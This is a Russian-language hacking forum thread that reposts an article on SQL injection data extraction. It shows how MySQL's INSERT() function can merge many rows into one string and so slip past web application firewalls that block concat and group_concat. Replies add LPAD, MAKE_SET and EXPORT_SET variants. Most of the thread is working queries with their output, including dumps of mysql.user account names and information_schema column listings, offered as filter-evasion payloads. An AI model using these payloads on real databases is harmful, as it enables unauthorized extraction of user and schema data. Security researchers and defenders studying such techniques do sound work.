Статьи MySQL: Вытягивание записей в строку с использованием встроенной функции insert

Discussion in 'Статьи' started by BigBear, 20 Sep 2013.

  1. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Вступление: Это статья является прямым копипастом статьи с rdot.org.

    Все права на статью принадлежат NameSpace.

    (Прим. BB : А вообще - это новый обалденный способ).


    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

    MySQL: Вытягивание записей в строку с использованием встроенной функции insert


    Все вы знаете о выводе колонок MySQL-таблицы в одну строку, итак, встречаем - Четвертый метод! Но об этом немного позже, а сейчас вспомним то, что имеется на сегодняшний день.

    Из статьи Dr.Z3r0: MySQL Injection [полный FAQ]

    1. group_concat
    + Простое использование, небольшой размер
    - Ограничение в 1024 символа
    - Достаточно-распространенные в WAF блокируемые-слова: concat, group и _

    2. BENCHMARK
    + Возможность отсутствия использования concat, group и _
    - Большой размер
    - Выборка по одной из уникальных колонк
    - Спец-символы @ : = BENCHMARK

    3. Неявный цикл в условии
    + Небольшой синтаксис
    + Отсутствие ограничений
    - Спец-символы @ : =


    А теперь новинка, использование бага функции insert(). Синтаксис функции достаточно простой:
    Code:
    INSERT(str,pos,len,newstr)
    str - Изначальная строка
    pos - Позиция
    len - Длина
    newstr - Новая строка
    INSERT вставляет в str после pos с длиной len строку newstr:

    insert('RDoT', 1, 2, 'DR') = DRoT
    insert(':', 1, 0, 'RDoT') = RDoT:
    Смотрим дальше, натыкаемся на интересную особенность:
    Code:
    mysql> SELECT insert(':', 1, 0, 'RDoT') from mysql.user;
    +---------------------------+
    | insert(':', 1, 0, 'RDoT') |
    +---------------------------+
    | RDoT:                     |
    | RDoT:                     |
    | RDoT:                     |
    | RDoT:                     |
    | RDoT:                     |
    | RDoT:                     |
    | RDoT:                     |
    | RDoT:                     |
    +---------------------------+
    8 rows in set (0.00 sec)
    
    mysql> SELECT insert(0x3A, 1, 0, 'RDoT') from mysql.user;
    +-----------------------------------+
    | insert(0x3A, 1, 0, 'RDoT')        |
    +-----------------------------------+
    | RDoT:                             |
    | RDoTRDoT:                         |
    | RDoTRDoTRDoT:                     |
    | RDoTRDoTRDoTRDoT:                 |
    | RDoTRDoTRDoTRDoTRDoT:             |
    +-----------------------------------+
    5 rows in set (0.00 sec)
    Попробуем вставиnm rand():
    Code:
    mysql> SELECT insert(0x3A, 1, 0, rand()) from mysql.user LIMIT 5;
    +----------------------------------------------------------------------------------------------+
    | insert(0x3A, 1, 0, rand())                                                                   |
    +----------------------------------------------------------------------------------------------+
    | 0.4782688650100202:                                                                          |
    | 0.189468408179905650.4782688650100202:                                                       |
    | 0.51253547660311260.189468408179905650.4782688650100202:                                     |
    | 0.99427218920949120.51253547660311260.189468408179905650.4782688650100202:                   |
    | 0.43375454697176310.99427218920949120.51253547660311260.189468408179905650.4782688650100202: |
    +----------------------------------------------------------------------------------------------+
    5 rows in set (0.00 sec)
    А если выводить данные?
    Code:
    mysql> SELECT user from mysql.user;
    +------------------+
    | user             |
    +------------------+
    | root             |
    | root             |
    |                  |
    | root             |
    |                  |
    | debian-sys-maint |
    | phpmyadmin       |
    | root             |
    +------------------+
    8 rows in set (0.00 sec)
    
    
    mysql> SELECT insert(0x3A, 1, 0, concat(user,0x3B)) from mysql.user;
    +-----------------------------------------------------+
    | insert(0x3A, 1, 0, concat(user,0x3B))               |
    +-----------------------------------------------------+
    | root;:                                              |
    | root;root;:                                         |
    | ;root;root;:                                        |
    | root;;root;root;:                                   |
    | ;root;;root;root;:                                  |
    | debian-sys-maint;;root;;root;root;:                 |
    | phpmyadmin;debian-sys-maint;;root;;root;root;:      |
    | root;phpmyadmin;debian-sys-maint;;root;;root;root;: |
    +-----------------------------------------------------+
    8 rows in set (0.00 sec)
    Идет склейка, правда с конца. WHERE или LIMIT отдать последнюю запись нам не помогут, но HAVING можно попробовать:
    Code:
    mysql> SELECT insert(0x3A, 1, 0, concat(user,0x3B))s from mysql.user having length(s) > 50; // Фильтр по количеству символов
    +----------------------------------------------------------+
    | s                                                        |
    +----------------------------------------------------------+
    | root;root;phpmyadmin;debian-sys-maint;;root;;root;root;: |
    +----------------------------------------------------------+
    1 row in set (0.00 sec)
    
    mysql> SELECT concat(@a,count(*)) from mysql.user where @a:=insert(0x3A, 1, 0, concat(user,0x3B)); // Запись в WHERE и вывод с помощью переменной и функции группировки
    +------------------------------------------------------+
    | concat(@a,count(*))                                  |
    +------------------------------------------------------+
    | root;phpmyadmin;debian-sys-maint;;root;;root;root;:0 |
    +------------------------------------------------------+
    1 row in set (0.00 sec)
    И самый козырный способ:
    PHP:
    SELECT insert(0x3A10concat(TABLE_SCHEMA,0x3B,TABLE_NAME,0x3B,COLUMN_NAME,0x0A))s from information_schema.columns ORDER BY s*0 LIMIT 1;
    ...
    information_schema;COLUMNS;EXTRA
    information_schema
    ;COLUMNS;COLUMN_KEY
    information_schema
    ;COLUMNS;COLUMN_TYPE
    information_schema
    ;COLUMNS;COLLATION_NAME
    information_schema
    ;COLUMNS;CHARACTER_SET_NAME
    information_schema
    ;COLUMNS;NUMERIC_SCALE
    information_schema
    ;COLUMNS;NUMERIC_PRECISION
    information_schema
    ;COLUMNS;CHARACTER_OCTET_LENGTH
    information_schema
    ;COLUMNS;CHARACTER_MAXIMUM_LENGTH
    information_schema
    ;COLUMNS;DATA_TYPE
    ...  
    + Небольшой размер, отсутствие ограничений, использования подзапросов
    + Полное отсутствие запрещенных слов и символов(Вместо concat можно тот-же insert для склейки использовать)
    - Запятая, скобки, from - Без них не обойтись
    Вместо ORDER BY s*0 можно использовать ORDER BY-s, работает достаточно-быстро.


    UPD. Еще к интересному моменту - работает не только если первый аргумент представлен в HEX, но и если это пустая строка:
    Code:
    SELECT INSERT('', 1, 0, CONCAT(user,0 x3a)) FROM mysql.user;
    (c) profexer

    Проверено на MySQL 5.1, 5.5
     
    _________________________
  2. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Еще один вариант обхода фильтрации concat: использование функций lpad .
    LPAD(str,len,padstr)
    LPAD возвращает str, дополненную слева до размера len символами padstr.


     
    #2 YaBtr, 5 Dec 2014
    Last edited: 5 Dec 2014
  3. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    аналогично можно сделать с RPAD, MAKE_SET() или EXPORT_SET()
    например:
    Code:
    mysql> SELECT MAKE_SET(1|2, @@version,USER());
    | MAKE_SET(1|2, @@version,USER()) |
    +-------------------------------+
    | 5.5.37-35.0-log,f@localhost |
    +-------------------------------+
    1 row in set (0.00 sec)
    
    Code:
    mysql> SELECT EXPORT_SET(1,user(),version(),',',2);
    | EXPORT_SET(1,user(),version(),',',2) |
    +-------------------------------+
    | root@localhost,5.5.40-0 |
    +-------------------------------+
    1 row in set (0.00 sec)
    
    в качестве separator можно указать выводимое поле, само собой, так можно вывести сразу 3 поля :) правда, необходимость сомнительна.
     
    _________________________
    #3 yarbabin, 5 Dec 2014
    Last edited: 5 Dec 2014
    Mister_Bert0ni, winstrool and nikp like this.
  4. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    нашел кое-что вкусное и с неограниченным выводом :)

    Code:
    SELECT MAKE_SET(-1,@@version,database(),user(),@@version,user(),database());
    
    5.1.69,u192295142_root,u192295142_root@localhost,5.1.69,u192295142_root@localhost,u192295142_root
     
    _________________________